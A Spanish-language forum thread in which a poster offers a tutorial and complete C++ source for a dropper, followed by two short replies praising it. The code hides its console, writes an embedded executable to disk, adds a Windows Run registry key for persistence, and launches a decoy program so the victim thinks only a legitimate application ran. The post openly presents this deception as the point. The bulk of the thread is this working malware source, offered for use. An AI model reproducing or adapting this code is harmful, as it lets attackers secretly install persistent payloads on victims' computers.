Página 1 de 1

Downloader simple en C++ [tuto][source]

Publicado: 14 Nov 2022, 23:15
por Bl4ckV
Para el ejemplo solo he utilizado un binario como recurso pero se pueden añadir más para su posterior ejecución.
El usuario verá la ejecución de un programa "legítimo" mientras que por detrás se instalarán uno o varios más (en este caso uno) en la ruta deseada y se añadirá una clave al Regedit para lograr persistencia.

Resource.rc:

Código: Seleccionar todo

IDB_EMBEDEXE BINARY "C:ruta"
Resource.h:

Código: Seleccionar todo

#define IDB_EMBEDEXE 102
Source:

Código: Seleccionar todo

#include <Windows.h>
#include <string>
#include <tchar.h>
#include <fstream>
#include "resource.h"
#pragma warning(disable:4996)

using namespace std;

string ruta = "ruta";
string nombreExe = "test.exe";

void ejecucionFalsa(string command) { //Crear un proceso del programa que queremos que el usuario vea
    STARTUPINFO info = { sizeof(info) };
    PROCESS_INFORMATION processInfo;
    wchar_t WBuf[100];
    mbstowcs(WBuf, command.c_str(), 99);
    LPTSTR szCmdline = _tcsdup(WBuf);
    if (CreateProcess(NULL, szCmdline, NULL, NULL, TRUE, 0, NULL, NULL, &info, &processInfo)) {
        CloseHandle(processInfo.hProcess);
        CloseHandle(processInfo.hThread);
    }
}

void instalacion(string rutaInstalacion, string nombreDelComprimido) { //crear el archivo añadido como recurso
    HRSRC hResource = FindResource(NULL, MAKEINTRESOURCE(IDB_EMBEDEXE), L"BINARY");
    HGLOBAL hGlobal = LoadResource(NULL, hResource);
    size_t exeSiz = SizeofResource(NULL, hResource);
    char* exeBuf = (char*)LockResource(hGlobal);
    ofstream createFile(rutaInstalacion + nombreDelComprimido, ios::binary);
    createFile.write((const char*)exeBuf, exeSiz);
    createFile.close();
}

void generarPersistencia(HKEY regKey, string regPath, string nombre, string valor) { //generar la persistencia
    HKEY hKey = NULL;
    RegCreateKeyA(regKey, regPath.c_str(), &hKey);
    RegSetValueExA(hKey, nombre.c_str(), 0, REG_SZ, (BYTE*)valor.c_str(), valor.length());
    RegCloseKey(hKey);
}

int main() {
    FreeConsole();
    instalacion(ruta, nombreExe);
    generarPersistencia(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", "Test", (ruta + nombreExe));
    ejecucionFalsa("calc.exe"); //nombre del exe falso
    return 0;
} 

Re: Downloader simple en C++ [tuto][source]

Publicado: 16 Nov 2022, 04:07
por Flight embedded
¡Qué buen aporte, Bl4ckV! Me dan ganas de volver por un momento al Windows.

Publicado: 16 Nov 2022, 12:53
por Bl4ckV
Flight embedded" escribió: 16 Nov 2022, 04:07 ¡Qué buen aporte, Bl4ckV! Me dan ganas de volver por un momento al Windows.
Gracias. Windows tiene sus cosas 🤣